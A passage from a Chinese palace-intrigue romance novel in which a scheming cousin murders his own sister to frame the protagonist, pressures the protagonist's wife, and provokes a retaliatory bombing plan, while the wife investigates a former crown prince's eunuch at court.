鹿微眠忙说着没梦见什么就起身挪走。 装作什么都没有发生的样子。 封行渊仍然坐在原地,唇角勾起,手里轻转着她精巧灵动的发簪。 * 封府大院内, 罗氏坐在屋内就听见门口有人搬东西进来。 罗氏差人出去打听。 下人回来禀报, “是四少爷回来了。” “又回那新妇娘家了, 成婚才多久,天天回去, 像什么样子。”罗氏记恨着那日在司空府的遭遇, “不知道的还以为我们欺负他们一样。” 那天本来是想借着机会去司空府见识一下,顺便把封骏介绍给朝堂重臣。 没想到半路被封轸那个混账给赶回来了。 鹿瑜偏偏也没有留他们。 明明那么多人都留了, 就没有留他们。 好歹也是亲家,这般不给颜面。 这一回来,封贺和罗氏是骂了他们一天一夜, 都不解气。 罗氏听闻他们回来,也没给个好脸色,“那鹿瑜也是不就是离京办差吗,仗着自己位高权重, 大摆宴席,那么风光, 还真有人捧他们。” “鹿微眠不过是投了个好胎,才是个千金小姐, 真以为那些贵女与她亲近是喜欢她。” “封轸那混小子也是得了个便宜亲事。”罗氏冷哼, “若这江南水坝没修好,我看他们还怎么得意!” 一旁沉默寡言的封芙安听到鹿微眠和封行渊的名号, 稍稍有了反应。 她抬起头,日光落在她遮覆脸颊的面纱上,将她溃烂的脸照得通红。 她手指收紧,扯破了手中书卷,“为什么他们还好好的。” 罗氏听见封芙安说话,顿时有些紧张,顺着她安抚,“害,不过是表面风光罢了。” “这在朝中伴君如伴虎,日后还不一定能一直风光呢。” “可他们现在还好好的。”封芙安看向罗氏。 罗氏视线不由得闪躲了一下,虽然是亲生女儿,可封芙安乍一这么看过来,她还是害怕那张脸。 她连忙道,“他们很快就会遭报应了。” 封芙安突然嚷了起来。“他们没有报应!” “他们活得好好的!陛下还赏了他们!” 罗氏吓了一跳,“芙安……” 封芙安精神有些失常,“为什么鹿微眠好好的,我现在这样不人不鬼的连门都不敢出去!” 她麻木地重复着,“他们怎么还没死,他们该死了。” 罗氏听着也有些渗人,“快,快把姑娘带下去休息。” “我不要休息,”封芙安摇头,“我要杀了他们!我要他们死!” 罗氏急着叫人,“还愣着干嘛啊!” 一旁侍女们连忙上前,将封芙安拉下去。 封芙安被带下去,罗氏连忙抚了抚身上冒出的鸡皮疙瘩。 封骏从外面进来,正好看到这一幕。 封芙安张牙舞爪地叫嚷着,被人拖下去时还抓住了封骏的衣袖,“都是你!要不是你没用,怎么一直杀不了他们!” “亏了你还攀上太子,却一点用处都没有,你个废物!” 封骏脸色铁青,“你胡说八道什么!” 他近来本就四处碰壁,当初跟太子牵上线,原以为能谋个好出路,结果没多久太子就出事了。 前两日去司空府拜访,碰了一鼻子灰不说,如今回来还要被这个疯子辱骂嫌弃。 封骏近乎是强忍着才没有动手打人,“快点啊,把她拉下去!” 封芙安根本听不进去旁人的话,自顾自地发疯,尖利的指甲一下子将他的衣袖扯破。 婢女废了好大一番功夫,才把封芙安的手从封骏身上拽下来。 封骏眉头紧锁,“她如今怎么这般严重?” “也怪我,”罗氏有些后悔,“方才听见封轸带着鹿家那个姑娘回来,多说了几句话。她就受刺激了。” 罗氏说完,不由得给自己找补,“可封轸就是命好娶了个名门之女如今风生水起的,那能怎么办啊。人家就住在这院子里,低头不见抬头见的,芙安早晚都得受刺激。” 提起封轸。 封骏整理好衣袖,更加烦躁,“我只怕她这样下去,连我们都要伤,你瞧瞧,这衣服新做的,被她扯成这个样子。” 罗氏叹了口气,“她是你妹妹,只能养着了。” “多差几个人看着她不就好了,总不能让她真的杀人,真的去寻死吧。” 封骏手上动作一顿,眼底带过一丝微光。 仿佛忽然间想通了什么。 * 鹿微眠这次在家中算是久住,叶绾给她带了不少东西,生怕这里少了那里缺了。 鹿微眠推三阻四半天,放下半数物件,回来还是发现被叶绾塞了不少。 她折腾着分派规整下去又废了一些时间和功夫。 忙完就到了傍晚。 晚膳将叶绾给她带的吃食温了一遍就够他们吃的。 鹿微眠爱吃漂亮的餐食,因而每一份菜品都小巧而精致。 量不大,但种类颇多,而且样式好看。 鹿微眠吃到一半就饱了,但还有半碗玉露团。 孙嬷嬷调侃她,“姑娘又眼大肚子小了吧,方才还跟我说能吃两个玉露团,这一个都没吃完。” 鹿微眠推脱着,“好吃的太多,我这不是没吃过来,我实在是吃不动了。” 封行渊抬头看了一眼,自然而然地拿过了鹿微眠的碗。 鹿微眠一时没反应过来。 看他果真拿起自己用过的勺子,还是惊了一下,“那个……” 封行渊扬眉,“不给吃?” “给吃,”鹿微眠伸出去的手又放下,听起来好奇怪,“你吃。” 鹿微眠还是没忍住小声提醒,“那个我咬过了。” “你我也咬过。” 鹿微眠屏气,忽然意识到孙嬷嬷还在场,转头看见她老人家一脸姨母笑,对上鹿微眠的视线,就找了个借口离开了房间。 鹿微眠偷偷在桌子底下踢了他一下。 封行渊掀起眼帘看她。 两人无声的视线交流许久,但谁都没说话。 鹿微眠羞恼他又这样一本正经的戏弄她,偏偏他自己还不知道。 她想解释又觉得多此一举,他也听不明白。 封行渊则打量着她红起来的脸。 又害羞。 封行渊不知道他说个实话也能让她害羞脸红。 他的小夫人每天不是在撒娇,就是在害羞。 挺好玩的。 夜色渐深,鹿微眠收拾了一整日的东西,早早梳洗休息。 累了几日,鹿微眠躺下还没等封行渊出来就睡着了。 屋内香雾盈盈,烛火跳跃。 封行渊从沐浴间出来,听着房内格外安静,便知道鹿微眠已经睡下了。 他抬手灭了灯盏,折返回床榻。 暮云在院外值守,守着暖炉撑着下巴,头一点一点的打瞌睡。 今晚院内似乎格外地安静,所有人都睡得极早。 甚至连秋后的孱弱虫鸣声都消失不见。 寂静得令人心颤。 院外墙角处,一道阴影从偏门出现。 那道身影被月色拉长,垂手的地方,显现出一道尖利刀柄,在朦胧月光下晕出一层寒戾光晕。 来人一身黑色衣袍,从头到脚将自己包裹住。 悄无声息地冲着鹿微眠所在的院落走了过去。 冷冽秋风吹开来人帽子,露出一张溃烂难辨的脸。 那双尖利的眸子,看起来阴森吓人。 封芙安紧盯着那个方向,攥紧了手里的刀柄,亦步亦趋地走向那个院子,像是完全精神失常,嘴里嘟囔着,什么该死,要杀了谁。 她刚走到院外。 突然间有人从她身后拍了她一下。 封芙安转头看过去。 突然身后那人影一把抓住了她手腕,夺过她手中匕首,毫无预兆地重重地刺进了她的心脏! 大片鲜血瞬间溅满了一旁墙壁。 封芙安蓦的瞪大眼睛,剧烈的疼痛刺激得她一时连痛呼声都没能够发出来。 她僵硬地低头看着自己被匕首刺入的胸口,在那人将匕首拔出时,瞬间整个人失去了浑身气力,跌倒在地上。 那人影在她倒地时后退几步躲开,确认四周无人看见,立马快步离开。 不久,鹿微眠突然被屋外一声尖叫声惊醒。 她睁开眼睛,发觉封行渊先她一步醒过来,保持警觉地姿势观察着屋外的动静。 眼下天色未亮,这样的尖叫声混迹在黑夜中听来有些吓人。 鹿微眠扶了下他的手臂,一阵止不住的心悸,“什么声音啊。” “没事。”封行渊翻身下床,“你睡。” 院外的声响越来越大,听着像是来了很多人。 有人在哭喊着什么。 鹿微眠听着这些声音根本不可能睡着,她见封行渊起来也跟着起来,匆匆穿好衣物开门。 发现院内的下人都闻讯出来。 打开门,屋外的哭嚎声就更加清晰。 是罗氏在喊,“芙安!芙安你醒醒!” “我的儿啊!” 封行渊闻声出去。 鹿微眠问着,“这是怎么了?” 暮云从外面探完消息回来,“夫人,好像是二房院里的六姑娘没了。” 鹿微眠只觉得一阵冷风吹过,风中有些难以言喻的血腥味。 她一时惊愕,“没了?” “是,就在咱们院子外面没了的。”暮云不太好描述,“看起来是被人刺伤,死的。” “在咱们院子外面被刺死……”这事情听起来太过奇怪,鹿微眠险些以为自己这会儿是在做梦。 暮云上前,将鹿微眠推进房,“夫人你就别去了。” “我瞧着外面那还挺吓人的,满墙都是血。” “不行。”鹿微眠顺手拿了根发簪,草草地挽了一下头发,“若是在别处出事我也就不管了。” “这眼下在咱们院子外面出事,我怎么也得去看看发生了什么。” 暮云想来也是,只能上前帮鹿微眠挽发,“那六姑娘自从围猎遭遇不测毁容之后就有些失心疯了,嘴里整日嘟囔着死啊活啊的,很是吓人。” “听说几次寻死都被人拦下了,说来也奇怪,今日为什么会在咱们院子外面出事,还是被刺死,被谁刺死的啊。” 鹿微眠总觉得这事情很是蹊跷,挽好头发披了个披风就出了门。 她出去就看到罗氏哭嚎着朝封行渊扑过去,被凌一拦下。 罗氏指着封行渊,“是不是你!” “是不是你杀了芙安!” 鹿微眠脚步顿住。 这事情发展的走势有些超乎她的预料。 封行渊明明才听见动静从床上下来,怎么会无端被指责杀人。 封行渊站在旁边,倒是显得云淡风轻,犹如看戏一般,戏谑道,“又是我了?” 这会儿,封骏也从别处赶了过来,身后跟了一众府兵,牢牢地盯着封行渊。 “来人,把他给我抓起来!” 鹿微眠提着裙摆跑过去,拦在了封行渊身前,“你们这是做什么?!” “封轸你就老实交代,是不是你杀了我六妹!” 封行渊看向他们,“我为何要杀她?” 罗氏不管不顾,“就是你,一定是你!” 封行渊又问,“有何证据?” “你们不能死了什么阿猫阿狗,都觉得是我杀的。” “你才是阿猫阿狗!”罗氏叫嚷着,“芙安死在了你的院子外面啊!除了你还能有谁!” 鹿微眠气不打一处来,难以相信怎么会有如此荒谬的事情,“你也说死在了我们院子外面,不是院子里面。” “这也不是我们自己家的院子,这是整个封府的院子,除了我们还有上百口人,凭什么指认我们?!” 封行渊垂眸,看着鹿微眠小小一个人拦在他身前。 而她说的,是“我们”。 封骏上前一步,“方才有人瞧见芙安来了你们院子的方向,才赶过来,看见就是人死在这里。你们如何能推脱得干净?!” “况且芙安她本就有些失心疯,行踪不定。” 封骏像是有备而来,“兴许是误闯到你们院子里,而你们夫妇两个对她积怨已久,将她害死想要抛尸,但却半路被我们发现。” 鹿微眠凝眉听着,反驳道,“那就不对了。” “她来我们院子做什么?” “我们两房的院子足有一刻钟的脚程,你们既然知道她有些失心疯,早不拦她,偏要等她到了我们这里,才大张旗鼓地带人过来。” “眼下不分青红皂白,给我们扣上一个杀人罪名,这是什么道理。” 封骏一时噤声。 罗氏双眼通红,“你这是强词夺理。” 鹿微眠回怼,“你才是强词夺理。” 封行渊拉住快要跳起来的鹿微眠,顺手将她带到身后,“二婶失亲难过,我们也可以理解。” “但我们院子里,很早就休息下了,我并未出来过,所有人都可作证。” “这些都是你的人,他们肯定听你的!”罗氏怒瞪着他,“我们看见的就是芙安死在你们这里,你休想将自己置身事外!” 封行渊慢条斯理道,“这血腥味是新鲜的,人刚死不过一刻钟,调集这么多府兵起床前来需要至少两刻钟。” 封行渊视线落在封骏身上,“你是两刻钟前,就知道你妹妹会死在这里吗?” 罗氏气得冲上前要打他,“你胡说!芙安是他亲妹妹,他怎么会像你一样,狼心狗肺,滥杀无辜!” 封骏眼神不自觉地有些许闪躲,“你莫要在这里胡编乱造,混淆视听!” 封行渊嗓音很淡,“我是不是胡编乱造,你应当清楚。你们非要说人是我杀的,一找不到我杀人缘由,二说不出我的作案过程,全是猜测,就以为能定我的罪?” 封骏冷笑,“能不能定你的罪,那就走着瞧。” 他扬高声音叫着周围府兵,“走吧,带封大人去大理寺,我倒要看看能不能定你的罪。” 府兵听了一声令下,接连围上去。 鹿微眠拉着封行渊的袖子,看着他。 封骏打量着鹿微眠,“怎么,弟妹也要跟去大理寺?” 封行渊轻拍了下她的手背,“无妨,你先回去睡觉。” “我很快就回来。” 鹿微眠觉得这件事太无理了。 怎么能用莫须有的罪名,就这么扣在他头上。 大抵是看出来了鹿微眠的愤懑,封行渊弯唇小声道,“这种事我熟悉。” “从前他们死了只鸡都要来审问我一番,不必担心。” 封行渊说完,被人簇拥着离开,看起来对这种被污蔑的事情习以为常。 即便如此,那一众府兵也只是拿着刀围在封行渊身边,没有人真的敢碰到他。 说不担心那是不可能的。 被污蔑是污蔑,但是被算计就是另一回事了。 明明刚刚封行渊还在睡觉,有人死在院外了就要责怪是他杀的。 这也太过于荒谬。 明显是有人有备而来,想要栽赃陷害。 鹿微眠看着他的背影,轻咬唇瓣,眼尾余光能看到封骏还在打量她。 鹿微眠怒瞪了他一眼,便转身回院。 那一眼瞪得封骏骨头都酥了。 看着鹿微眠因为着急只是匆匆挽发,连鬓角碎发都没别好,垂落些许,像是勾在了人心口。 足以想象到,她在床上不挽发是何等美景。 封行渊真是好艳福。 也该轮到他享受享受了。 第37章 都死 是。 封芙安的确是他遣人动手了结的。 但他也不是全然不念及兄妹之情, 只是封芙安寻死过太多次。 如今又变得疯疯癫癫,胡言乱语。 嫁不出去恐怕要养她一辈子也就罢了,天天拿着刀四处晃, 说想杀了这个,想杀了那个。 前些时日还伤了看护她的婢女,如今又开始辱骂他。 家里养着这么一个失心疯的, 人不人鬼不鬼的倒是还不如帮她了结了自己。 也算是他作为兄长, 让她少受一些折磨和痛苦。 既然要死, 那他这个妹妹不如死得有价值一点。 也算是帮他哥哥一个大忙。 但这件事情,的确只是他一手安排, 罗氏并不知情。 封骏转过头, 看着罗氏坐在地上抱着已经没了气息的封芙安痛哭不已。 他故作忧伤地走上前,安抚罗氏, “母亲放心,儿子一定让封轸付出代价。” 鹿微眠回到房内,饶是无论如何都不可能睡得着。 凌一被留下来看护院里。 凌一看着鹿微眠在院子里来回踱步, 不由得道,“夫人别担心,这事主子他自有办法。” 鹿微眠停下来,朝他走了过去, “他就一个人去大理寺了?” 凌一点头。 连个帮手都没带。 不过这样审讯,似乎也不好带什么帮手。 “他该不会真的, 很常遇到这些事吧。” “从前是这样的。”凌一和凌双最早是封行渊小时候从外面捡回来的烧火小厮,听说跟着他有肉吃, 他们兄弟俩就跟着走了, “许是二房想把我们赶走,一点事情就要怪到我们头上。” “说我们偷了鸡、杀了狗, 太多了。” 凌一为了让鹿微眠放宽心,坐在一旁与她闲聊着,“有一年二房一个老柴夫被管事嬷嬷打骂,打死了。” “二房为了避事,非要说是主子推了老头一把,才让人摔死的。”他说着扯了扯唇角。 鹿微眠想着,那个时候封行渊也就是半大的娃娃。 二房闹出人命来,多半也是觉得拿小孩当挡箭牌,不用负责。 可是诬蔑一个小孩杀人,欺负他没有辩驳的能力和身份,实在是欺人太甚了些。 鹿微眠想,她那个年纪,是被人污蔑偷吃了一颗糖都要生气的程度。 而封行渊在那个年纪,被污蔑杀了人。 鹿微眠一张圆脸板得很严肃,“那后来呢?” “后来啊……”凌一摸了摸鼻梁。 后来他记得封行渊杀了那个扣给他罪名的管事嬷嬷,把头割下来挂在了二房房梁处。 封行渊的逻辑,既然改变不了被污蔑杀人的结果。 那我就杀一个给你们玩玩。 凌一踟蹰良久,憨笑起来,“忘记了。” 鹿微眠有点生气,鼻音很重,“这也太过分了。” “又不是第一次了。所以夫人放宽心,等主子回来就是。” 鹿微眠,“他可有办法?” 说实* 在的,凌一也不知道自己这位主子有什么办法。 因为封行渊的办法千奇百怪,简单粗暴,寻常人也猜不到。 所以,凌一没办法给鹿微眠准确的回答,“无妨,这黑的总也不能颠倒成白的。” 这算是什么办法。 鹿微眠想,她这个夫君自小被关在东宫取血,没有在官场混迹过,不懂里面的弯弯绕绕。 他又离京许久,许多想法和心思都太单纯了些,未必能应付得了这些精通人情世故的老滑头。 “罢了,”鹿微眠吩咐凌一,“若你这些时日,方便与他来往,叫他别害怕。” 凌一听着鹿微眠的话,眼皮跳了几下。 害怕? 他鲜少把这两个字和封行渊联系在一起。 凌一觉得鹿微眠一定是误会了什么,正要再说话,就见鹿微眠吩咐完,回了房间。 鹿微眠走到书桌边,伸手摸到了前阵子,跟慕青辞核对过的文书笔录。 鹿微眠在书房呆了一宿。 次日前去大理寺询问,大理寺门口侍卫通报过后,从屋内走出来一个矮胖官员。 他出来和颜悦色地与鹿微眠打招呼,“封夫人。” 鹿微眠询问着昨晚被送过来的案子。 男人并不正面回答鹿微眠的问题,只笑呵呵地打官腔,“这案子比较复杂,谋杀亲眷的罪名属于当下的大逆不道。倘若是长辈不论成功与否,都要除以极刑。若是同辈,按照亲缘关系,行凶过程及结果,也是斩首或流放这类的惩处。” “说白了是你们封府的家事。” “俗话说得好,清官难断家务事,伤亡的亲属若是肯谅解,那这事就是小事。” “但亲属要一直追查,那就麻烦了。” 这话说了跟没说一样。 “我是问你,那案子审得如何了?凶手总要查验出来的吧,若不是我夫君做的,难不成还要什么谅不谅解?” 矮胖官员继续道,“我知道你也急,但这事是急不来的。” “这封大人虽然是朝官,但就因为是朝中新贵与家人有争执,那有异动更要仔细侦查,更不能徇私枉法。你知道的,咱陛下最看重家事和谐了。” “案子目前在审理呢,跟你说了,比寻常案件复杂,具体情况呢暂时无法透漏。” 鹿微眠听了一耳朵的废话,当下也没什么机会见封行渊,就没继续跟他聊,先行回府。 总归她算是明白了。 封骏在大理寺当值,十有八九是与大理寺的人通过气。 不然怎么会连这般小事都问不出来。 就是故意刁难人。 否则这般离奇的事情,都能请到大理寺审查令。 鹿微眠忍一时越想越气。 拿这种下三滥的把戏想欺负他们,忍不了一点。 鹿微眠从大理寺回来,暮雨正好出来相迎。 鹿微眠知道暮雨一般没事并不会出来,既然出来找她,那肯定是有什么事情。 果不其然,暮雨迎上她便小声道,“二少爷来了。” 鹿微眠听到封骏的名号,就憋着一股火气,“他来做什么?” “说是……来看看你。” 鹿微眠没有什么好脸色,“知道了。” 她走进院子里,看见封骏坐在会客正厅内,很是熟稔地给自己倒了一盏茶等她。 见她来了也没有起身,更像是这里的主人,“弟妹回来了?” 鹿微眠坐在一旁,“二哥还有闲情雅致来我们这儿?” 封骏笑着,抿了口茶,将手上的茶盏放在桌上。 “啪”地一声脆响。 “弟妹是去大理寺了吧,大理寺是如何说的?” 鹿微眠见此,大概是他知道她在大理寺碰了壁,故意来挖苦她。 “弟妹常年闺中不懂朝中事宜也是正常,大理寺的办案流程,我很清楚,你这会儿是问不到的。”封轸扬眉,“况且,我证据确凿。” 鹿微眠并不想听他继续说废话,“你今日来,就是想说这个的?” 封骏当然不是来说这个的,“我是瞧着你们夫妻感情这般好,万一等他被处了刑罚,一朝落魄,你无辜受难,我也于心不忍。” “所以想要给弟妹指一条明路。” 鹿微眠玩味着这个词,“明路?” 封骏视线上下扫过鹿微眠,“想救他吗?” 他说着起身,朝她走过来。 鹿微眠没有动。 暮雨上前一步拦在鹿微眠身前。 封骏不急这一时半刻,在离她两步远的距离停下,“若是想救他,限你三日之内来我房里,我与弟妹好生聊聊这条明路。” 封骏轻敲了下鹿微眠身侧的桌案,“三日期限过去,弟妹没有诚意,就不要怪我不讲情面了。” 鹿微眠听来可笑。 “嫁为人妇是总有些身不由己的事情,你曾经在家如何那也是过去了。” “如今封轸不争气,作为妻子还是要想办法替他周转的。”封骏用眼神极为放肆的描摹过她的身形,“我心知弟妹的不容易,也能够理解。” 封骏看起来很是善解人意的样子,“所以这件事也不是一点商量的余地都没有。” “我等弟妹想通了,来与我聊。” 封骏说完心情大好,背着手大摇大摆地离开正厅。 封骏一早就看出来了。 鹿微眠就是个从小被娇惯着长大的千金小姐,没吃过什么苦,也没吃过什么亏。 连封轸那样混账都能觉得他无辜,看起来是顶顶好骗的。 想必她从小到大都没有经历过这种事情。 怕是看见死人都是头一遭。 如今六神无主地四处想办法,一定很是急迫。 刚巧,她父亲不日才离京,那么大的靠山一时半刻也帮不上她。 他只需要这时给她伸出援助之手,她八成会考虑来求他。 他其实也清楚封行渊的手段。 此番不一定能扳倒封行渊,但也能耗他一阵子。 在耗他的这段时日里,只要他的夫人乱了心神,跑来求自己。 只要踏进了他的屋子。 那她可就别再想出去了。 封骏思及此,有些心驰神荡,心痒难耐。 封轸身份卑贱,如何享得了这般美妻。 这个好弟妹嫁封轸,还不如嫁他。 他只需将生米煮成熟饭,事后他总有办法留证。 以此来要挟她。 女子最看重名节。 只要她的把柄在他手上,不嫁他,他也能一直享受着这艳福。 若是她怀上他的孩子,那她就更加跑不掉了。 这般丑闻,司空府的名门千金定然是接受不了的。 日后要什么仕途、财富甚至她自己,她都得乖乖奉上。 平步青云也不在话下。 封骏觉得此番自己的计策简直是神机妙算。 他回到院子里,看着满屋的白帆和灵幢,敛起笑容,走到了灵堂摆放牌位的位置。 封骏虚情假意的点了柱香,朝着封芙安的灵位拜了一会儿,将香安放在前面的香炉上。 封骏扶着牌位,轻轻拍了一下,“好妹妹,你也算是给哥哥帮了个大忙。” 他说完,心情舒畅地回了房。 后面三日,封骏便时不时打探一下鹿微眠的行踪。 听说这位四少夫人该吃吃,该喝喝,该睡睡,好似丝毫没有受到他话语的影响。 封骏只当她是在故作淡定。 紧接着,第二日便听下人来禀,“四少夫人今日一早就进宫了。” 封骏拿着文书正在翻阅的动作停下来,“进宫?” “是。” 封骏笑道,“果然还是慌了神,想要去搬救兵了。” 封骏盘算了一番进宫鹿微眠能找谁求情,很快便放下心来。 宫中哪里还有什么她的贵人,从前太子算一个如今也不成了,连带着鹿微眠从前亲近的公主和皇后也都是朝中罪人。 她进宫无非是病急乱投医。 “不必在意,想来她也没有什么好办法,不知道该求谁了,才去宫中。” * 大理寺幽禁室内。 封行渊坐在桌前,指尖沾着茶水有模有样地在桌案上画着什么。 一道黑影闪过,凌一出现在他身侧。 来去自如,很是娴熟,不知道这般做了多少次。 “怎么样了?” 凌一熟稔地将家中情况告知,包括鹿微眠让他带的那句“别害怕”。 封行渊闻言还是笑了,“该害怕的可不是我。” 凌一顺着封行渊专注的视线,看到了他桌上用茶水描出来的图画。 更像是一张地图,“这是……” “大理寺的布局图。”封行渊这两日进来到现在为止,差不多摸清了大理寺的布局。 闻言,凌一看得认真了许多,顺便问着,“需要我去哪做什么吗?” “这样,”封行渊比划着,“三日后,炸了这里。” “嗯……”凌一点头点到一半瞪大眼睛,“嗯?!” 封行渊显然很满意自己的想法,指着一个位置,“这间屋子里的人,我不喜欢,先炸这里。” “送审案件要给他们塞酬金,难怪送进大理寺的案子都没个动静。这几日我已经瞧见许多,送不起酬金的百姓被脏污。” “毁了这个屋子,应该能炸出不少冤假错案的证据来。到时大理寺丑闻大过爆炸,再随便做点手脚就追查不到咱们。” 凌一咽了口唾沫,“好。” 封行渊兴致盎然、慢条斯理地与他讲述作案过程,如何安放炸药。 看起来越讲心情越好。 凌一怎么看,怎么觉得自家主子才像是送进来的炸药桶。 那二少爷真是疯了敢惹他。 凌一听着封行渊讲完,将任务领下。 正要走的时候,凌一想起什么来,又折返回去,“对了,还有一事,前两日封骏去院里了。” 封行渊继续完善着桌上图纸,漫不经心地问,“他去做什么?” 凌一试着总结了封骏的话,“他威胁夫人。” 封行渊描画图纸的动作停下来。 因为暗室内没戴面具,那眼底血痣晦暗不明,稍显阴森。 凌一按照记忆中的内容,重复了一遍。 封行渊简单擦了一下沾湿茶水的手,修长手指随着他擦拭的动作浮起筋骨。 他难得耐着性子,听完了凌一的长篇大论。 之后很久都没有说话。 凌一跟着解释道,“不过您不用担心,夫人没那么想不开。” 封行渊适时开口,声音有些轻巧,“罢了。” “什么罢了?” “三日后罢了。” 封行渊扬眉,“明日就让他们死。” 都得死。 第38章 吓人 皇宫大内, 庄严肃穆。 鹿微眠跟着褚楚在御花园闲逛。 褚楚走到浮碧亭,朝她示意,“你看, 这个就是今年宫中新晋的碧梅。” 鹿微眠走上前,看周围的泥土被人新翻过,空气中有些潮湿的清淡香气。 褚楚所示意的那一片小树是宫人们前不久刚刚移栽过的。 树枝被修剪得很是规整, 枝丫处有些零星的花苞。 鹿微眠问, “等它开了是碧色的花吗?” “听说是的。” “看起来, 树花种要麻烦一些,”鹿微眠想, “可能不太适合我们家的院子。” 褚楚笑道, “是麻烦,而且很多树移栽过去也不一定能活。” “所以草花和灌木从花更好种。” “不过具体的我也不懂, ”褚楚带着她往前走,“前面就是花木局了,惜春御史是我朋友, 你可以问问她。” 鹿微眠弯起眼睛,“谢谢姐姐。” “不客气。说来,你怎么想起来要花草了?” “就是近来有些无聊。”鹿微眠扯了扯手中的帕子,近日在家里老想封行渊的事情, 想得脑袋疼。 眼下她有了些眉目,但还需要等等消息, 便出来散散心。 “我坐在家里的时候,看冬天外面光秃秃的。所以想要弄一些花草布置一下。” “我记得有许多花草是要秋冬日种下, 春天才能开的。” 不远处传来一道笑声, “这你倒是记得不错。” 鹿微眠循声看过去,看见一个女子身着官服朝她们走过来, “没想到封夫人还懂这些。” “略知一二罢了,不敢在御史面前班门弄斧。” “瞧你客气的。”那女子示意她们跟她前去,“花木局就在前面,有一些详尽的画册说明,你可以多看看。” 花木局在御花园的尾端,隐匿在一个不起眼的角落里。 但是进去就如临仙境,里面摆放着琳琅满目的花草。 屋内也要比屋外要暖和许多。 这里负责整个宫苑的花草布置和供应。 也有一些其他时令的花,在忙着养育。 花木局里外人来人往,时不时有一些宫苑宫人前来搬花草。 鹿微眠见此忙道,“你先忙差事,我在这里看就好了。” 惜春御史也不推脱客套,“那你先看着,想要什么便写下来,我改日将种子什么的差人给你。” 鹿微眠弯起眼睛道谢,“多谢。” 褚楚靠在旁边,与她一同翻看着手中画册。 鹿微眠简单记下来了几种。 正看得兴致勃勃之时,身后忽然出现一道声音,“大人,奴奉命来取淑妃娘娘宫里的金桂。” 鹿微眠脊背一僵,这熟悉的声音瞬间将她拉回那片黑暗中。 告诉她,“封夫人,皇后娘娘要您节哀,这未来的日子还长着。” 鹿微眠蓦的放下笔回头! 在珠帘之外,一道颀长身影被薄纱笼成虚影。 褚楚疑惑地看她,“怎么了?” 鹿微眠并没有回答,仿佛此时眼中只有那个人。 她站起身,掀开珠帘时,姜崇已经走了。 鹿微眠顺手拦住了刚刚帮姜崇搬金桂的宫人,“方才来的人,看起来与从前太子殿下身边的姜公公很像。” 宫人顺着鹿微眠的示意看向姜崇,随后笑道,“因为那就是姜公公啊。” 鹿微眠眼睫轻颤,“他……没有被太子殿下的事情牵连吗?” 宫人回禀着,“当然牵连了,不过姜公公被关到掖庭狱罚了一阵子后,因为将罪过尽数交代,他只不过是替人传话,也是被逼无奈,才留了一条命。” “他现在……是在淑妃娘娘宫里的?” “是啊。”宫人不由得感慨着,“要么说有人的贵人运实在是旺盛。” 宫人说起宫里的奇闻趣事那就来了精神,“他原本被发派到浣衣局,不成想帮淑妃娘娘捡到了重要之物,所以被淑妃娘娘带去自己宫里办差了。” “不过眼下也只是办些外院的杂活,但比下狱砍头要好多了。” 宫人说完,便继续着手上的差事。 鹿微眠在原地站了一会儿,褚楚上前询问,“你怎么突然开始关心姜崇了?” “没有,就是瞧见了,觉得奇怪。”鹿微眠心绪繁杂,“他竟然这么快就相安无事了。” 可是东宫明明全部清缴,罪奴流放。 “我这几日去淑妃娘娘宫里诊脉也看见过他两次,”褚楚当时看见姜崇时也有些意外,但她很少关心朝堂中事,因此也没有太在意,“淑妃娘娘是个良善之人,脾气又好,不一定怎么就心软了。” 鹿微眠听着褚楚的话,“这样吗。” 她折返回去,继续看着那画册中的花草。 但到底这会儿有了心事,鹿微眠不似之前专注。 她简单地将剩下想要的花草记下来,交给花木局,留了些定金离开。 褚楚很快来了其他的差事。 鹿微眠独自离宫。 她走到一半,脚步还是停了下来。 像是深思熟虑之后,她调转了方向,往华阳宫的方向走。 华阳宫是淑妃的宫殿。 说到底,那姜崇野心勃勃。 眼下太子不行了,又想方设法去了淑妃宫里。 八成是因为淑妃宫里有个三皇子。 要是旁人也就算了。 鹿微眠怎么想着,怎么觉得这是她有些亲戚关系的姨母。 要是真的出了事,也和他们家有着千丝万缕的关系。 哪怕不是看在亲缘关系上,看在事情牵连上,她也不好当做什么都不知道。 华阳宫内,宫殿内外宫人有条不紊地忙着手上的活计。 淑妃坐在贵妃椅上,正修剪着才搬进来的金桂,打量着,“今年花木局养的金桂是不错,看起来比往年的都要精神些。” “是啊,”宫女笑称,“想必是陛下知道您喜欢,费了一番心思让他们养的。” 淑妃将剪下来的枝叶扔掉,“那也是花木局的人费心思,他只需要动动嘴皮子罢了。” 屋外宫人进来禀报,“娘娘,封夫人求见。” “封夫人?”淑妃思索良久,“哪个封夫人。” 宫人踟蹰着又换了个说辞,“就是司空府的鹿家千金,不久前嫁去封府的。” 提到鹿家,淑妃反倒清明了不少。 她对鹿微眠有印象,是个挺可爱的孩子,不过“她怎么想着来见本宫了。” “这个奴才也不知。” 淑妃叫宫女收起剪刀,“让她进来吧。” “是。” 鹿微眠进门便闻到了满屋子的桂花馥香。 贵妃椅上斜倚着一个仙姿佚貌的美人,看她进来,眼底满是新奇意味。 鹿微眠规规矩矩行礼,“臣妇参见娘娘。” 淑妃简单示意,“坐。” 鹿微眠顺着她的示意,板正地坐在旁边座位上。 淑妃瞧着她仪态拘谨的样子,弯唇笑得有些和蔼,“面见本宫,你很紧张?” “还好。” 鹿微眠是有点紧张。 一是她家里曾千叮咛万嘱咐,不要显露出和淑妃是亲眷的关系,招惹是非。 二是……她这个姨母实在是太美了。 近看像是不食人间烟火的仙女。 “这般紧张还要来见本宫,”淑妃笑得更和蔼了,“想必是有很重要的事。” “是有点重要。”鹿微眠看了看守在旁边的宫人。 淑妃一下子就懂了她的意思,“不能有旁人在场?” 鹿微眠点头。 “那你们下去吧。” 一旁宫女见淑妃下令便乖乖退下。 鹿微眠看着她的确是好说话。 淑妃看人走了,房门也关上了,屋内只有她们两个人才道,“现在没有外人了。” 鹿微眠唇线绷直,深吸了一口气,好似鼓足勇气开口,“臣妇听闻,近来娘娘心善收留了曾经在太子身边的罪奴。” 淑妃了然,“你是说姜崇吗?” “是的。”鹿微眠看着她,“这位罪奴在被关押前,将太子所有的罪证都交了出去,将自己摘得干干净净。” “但是据臣妇所知,他假借着太子的名义,也做了许多丧尽天良的事情。” “如今在娘娘面前装无辜,实在是有些居心叵测。” “啊,这样啊。”淑妃秀眉轻蹙,手里团着软枕,“本宫从前还瞧着他是个挺好的孩子,也挺细心的。” 美人蹙眉,令人心神动荡。 淑妃问她,“这些事情,你可有告知陛下?” 